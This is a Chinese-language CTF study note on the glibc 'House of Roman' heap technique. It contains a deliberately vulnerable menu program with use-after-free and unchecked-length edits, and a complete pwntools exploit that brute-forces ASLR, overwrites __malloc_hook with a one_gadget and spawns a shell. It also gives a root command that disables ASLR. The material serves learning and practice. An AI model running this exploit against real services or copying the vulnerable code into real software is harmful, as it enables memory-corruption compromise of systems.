【我的 PWN 学习手札】House of Roman

House of Roman核心思想是利用了地址随机化,从而概率的获得指向目标地址的指针

目录

前言

一、ASLR

[二、House of Roman图解](#二、House of Roman图解)

三、模板与测试

(一)pwn.c

(二)exp.py

(三)调试分析


前言

一般来说House of Roman会和IO_File结合在一起,并不需要泄露libc,适用于没有回显的场景中。但是笔者还没学到那里,而且本篇也侧重于House of Roman手法本身。所以会泄露libc(为了one_gadget),再结合House of Roman打__malloc_hook。


一、ASLR

ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化。ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。当前 Linux、Windows 等主流操作系统都已经采用该项技术。

Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:

0:没有随机化。即关闭 ASLR。
1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。

我们可以通过以下命令进行查看/修改:

Go 复制代码
root@xxxx:/home/xxxx# cat /proc/sys/kernel/randomize_va_space 
2
root@xxxx:/home/xxxx# echo 0 > /proc/sys/kernel/randomize_va_space 
root@xxxx:/home/xxxx# cat /proc/sys/kernel/randomize_va_space 
0

利用ASLR,可以实现1/16的概率修改指针到指定地址。这是因为libc的加载地址是页对齐的,这意味着我们修改两个字节,即[xyyy],只有x是不确定的,对应4bit,也就16种可能。具体来说看以下演示调试

二、House of Roman图解

一向喜欢图解,直观形象。

首先堆空间申请三个chunk,大小和布局如下图所示:

此时我们释放chunk2,chunk2将进入unsortedbin中

申请合适大小的chunk,使得unsortedbin中的chunk2被切割后,剩下0x70大小的chunk会放回到unsortedbin中,即写入unsortedbin指针------一个libc上的地址。

这时候我们申请chunk2,并修改堆上低两个字节,利用地址随机化,随机到目的地址

然后利用fastbin double free:

进一步我们可以控制到:

此时我们malloc 4次,就可以申请到targetaddr。在本例中,targetaddr是malloc_hook附近的一块错位符合0x7f size的fake chunk的地址。

还是搞不懂,怎么就错位,怎么就随机能够1/16的概率??嗯,我们来看调试

三、模板与测试

(一)pwn.c

cpp 复制代码
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

(二)exp.py

python 复制代码
from pwn import *
libc=ELF("./libc.so.6")
elf=ELF("./pwn")
context(arch=elf.arch,log_level='INFO')

def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# gdb.attach(io)

while True:
    io=process('./pwn')
    try:
        # leak libc
        add(0,0x200)
        add(1,0x200)
        delete(0)
        show(0)
        libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
        success(hex(libc.address))
        delete(1)

        # House of Roman
        add(0,0x68)
        add(1,0x98)
        add(2,0x68)
        delete(1)
        add(3,0x28)
        add(1,0x68)
        edit(1,0x2,p16(0xbaed))
        # pause()
        # fastbin double free
        delete(0)
        delete(2)
        delete(0)
        edit(2,1,p8(0xa0))
        add(3,0x68)
        add(3,0x68)
        add(3,0x68)
        add(3,0x68)

        # one_gadget
        '''
        0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
        constraints:
        address rsp+0x40 is writable
        rax == NULL || {rax, "-c", rbx, NULL} is a valid argv

        0x3f43a execve("/bin/sh", rsp+0x30, environ)
        constraints:
        [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

        0xd5c07 execve("/bin/sh", rsp+0x70, environ)
        constraints:
        [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
        '''
        one_gadget=[0x3f3e6,0x3f43a,0xd5c07][2]+libc.address

        edit(3,0x13+8,p64(one_gadget).rjust(0x13+0x8,b'\x00'))
        add(0,0x10)
        io.interactive()
    except:
        print("failed this time, try again")
        sleep(1)
        io.close()

(三)调试分析

来看一下House of Roman的关键部分------低两字节写。

首先我们关闭ASLR

bash 复制代码
echo 0 > /proc/sys/kernel/randomize_va_space

然后调试:

unsortedbin中的大小为0xa0的chunk经过切割后剩下0x70大小的chunk:

查看一下__malloc_hook附近的fake chunk地址,为0x7ffff7baed,而此时申请出0x70则残留0x7ffff7b9bb78,可以看到这两个地址在同一个0x1000即同一个页中,所以页内偏移是固定的,只有这个'b'可能会因为地址随机而改变。因此4个bit,共16中可能,也就是1/16的概率。

由于我调试时发现我的libc尽管开启了ASLR,也总是0x100000对齐,所以展示意义不大。但在做题时,远程libc肯定是以页为对齐单位。

因此我们可以写一个循环,来随机到正确的地址实现fake chunk的申请,写__malloc_hook为ogg。

相关推荐
Safe network access1 天前
kali打开复制粘贴功能
linux·运维·服务器·kali·ctf
A5rZ4 天前
CTF-WEB: php 取反+^绕过waf[ISITDTU 2019 EasyPHP]
网络·网络安全·ctf
Sweet_vinegar9 天前
Wireshark
网络·测试工具·安全·wireshark·ctf·buuctf
梦 & 醒11 天前
【刷题12】ctfshow刷题
数据库·web安全·网络安全·ctf
zhuqiyua12 天前
c语言安全分析(一)——字符串(1)
c语言·c++·安全·ctf·基础
落寞的魚丶12 天前
2024年第四届“网鼎杯”网络安全比赛---朱雀组Crypto- WriteUp
ctf·crypto·网鼎杯·2024年网鼎杯
石氏是时试12 天前
[NewStar 2024] week5完结
ctf
真学不来12 天前
MRCTF2020:千层套路
笔记·python·安全·ctf
A5rZ12 天前
CTF-WEB:PHP伪协议用法总结
php·web·ctf
centos0815 天前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf